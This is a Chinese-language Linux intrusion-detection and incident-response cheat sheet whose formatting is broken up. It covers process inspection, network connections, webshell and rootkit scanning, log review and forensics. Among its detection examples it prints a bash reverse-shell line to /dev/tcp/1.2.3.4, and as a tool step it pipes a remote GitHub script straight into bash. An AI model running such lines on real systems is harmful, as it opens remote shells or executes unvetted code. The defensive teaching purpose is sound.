ps auxf --forest | grep -v '\['  # 绘制进程家族图谱
 
 
 
 
就像查看家族族谱,识别奇怪的 "家庭成员"
异常特征:
- 可疑的 /bin/sh 子进程(例:
bash -i >& /dev/tcp/1.2.3.4/80 0>&1) 
- 随机字符命名的进程(如
a3b4c5d6) 
- 高 CPU 占用的隐藏进程(按
Shift+H显示隐藏线程) 
案例:某电商平台曾发现systemd-journal下隐藏挖矿进程,通过进程树快速定位。
top -c -o %CPU  # 按CPU排序进程
htop --tree     # 树状展示进程关系
 
 
 
 
操作技巧:
- 按
F5切换树状视图 
- 按
S跟踪进程系统调用 
- 按
k终止可疑进程 
危险信号:
- 进程名包含
..或.(如./a.out) 
- 命令行参数包含加密字符串(如
base64解码后) 
netstat -antp | grep ESTABLISHED  # 查看活跃连接
ss -tulwnp | awk 'NR>1 {print $1,$5}'  # 监听端口
 
 
 
 
关键指标:
- 非常用端口(如 6666、2333)
 
- 连接到俄 / 美 / 荷等国家的 IP
 
- 大量 TIME_WAIT 状态连接(>1000 个)
 
工具推荐:
nmap -sT -Pn -p1-65535 127.0.0.1  # 本地端口扫描
 
 
 
 
tcpdump -i eth0 'port 80 and host 1.2.3.4' -w attack.pcap  # 抓包
 
 
 
 
分析技巧:
- 用 Wireshark 打开 pcap 文件
 
- 检查 HTTP 请求中的 Base64 编码
 
- 搜索
eval、system等敏感词 
find / -type f -mtime -3 -size +1M -exec ls -lh {} \;  # 3天内修改的大文件
find / -name "*.php" -exec grep -l 'eval($_POST' {} \;  # 查找Webshell
 
 
 
 
高危路径:
/dev/shm(内存文件系统) 
/tmp/.X11-unix(Xorg 临时文件) 
/var/tmp(持久化临时目录) 
ls -laR /etc | grep '^...s'  # 查找SUID/SGID文件
find / -type f -name ".*" -print  # 显示所有隐藏文件
 
 
 
 
异常特征:
- 系统文件被修改(如
/bin/bash哈希值变化) 
- 隐藏文件大小异常(如
.bash_history突然变大) 
chkrootkit -q  # 快速扫描
rkhunter --check --sk  # 静默检查
 
 
 
 
检测重点:
/proc隐藏进程(使用ps aux | sort -nrk 3检查) 
- LKM 模块校验(
lsmod | grep -v '^Module') 
- 二进制文件哈希比对(
md5sum /bin/*) 
strace -f -p 可疑PID 2>&1 | grep 'execve\|connect'  # 跟踪系统调用
 
 
 
 
恶意行为特征:
- 频繁调用
execve执行新进程 
- 非常规
connect系统调用(如连接到境外 IP) 
journalctl -u sshd --since "2 hours ago" | grep 'Failed'  # SSH登录失败记录
ausearch -k malware -ts today  # auditd日志检索
 
 
 
 
攻击痕迹:
- 非工作时间登录(如凌晨 3 点)
 
- 连续认证失败后成功(暴力破解特征)
 
- 非常用用户执行
sudo(如nobody用户) 
aide --check  # 需提前初始化数据库
rpm -Va | grep '^..5'  # RPM系系统检查
 
 
 
 
篡改特征:
- 系统二进制文件哈希变化(如
/usr/bin/curl) 
/etc/passwd异常时间戳(比当前时间新) 
wget -qO- https://raw.githubusercontent.com/trimstray/sandmap/master/scripts/sandmap.sh | bash
 
 
 
 
docker run -v /malware:/malware remnux/remnux-tools  # 启动恶意软件分析环境
 
 
 
 
- 
取证优先:
mkdir /forensic && mount -o ro,loop /dev/sda1 /forensic  # 只读挂载
 
 
 
 
网络隔离:
iptables -A OUTPUT -p tcp --dport 80 -j DROP  # 禁止HTTP外连
 
 
 
 
 
 
- 
样本保存:
zip -P infected malware.zip $(find / -name "*backdoor*" )  # 加密压缩样本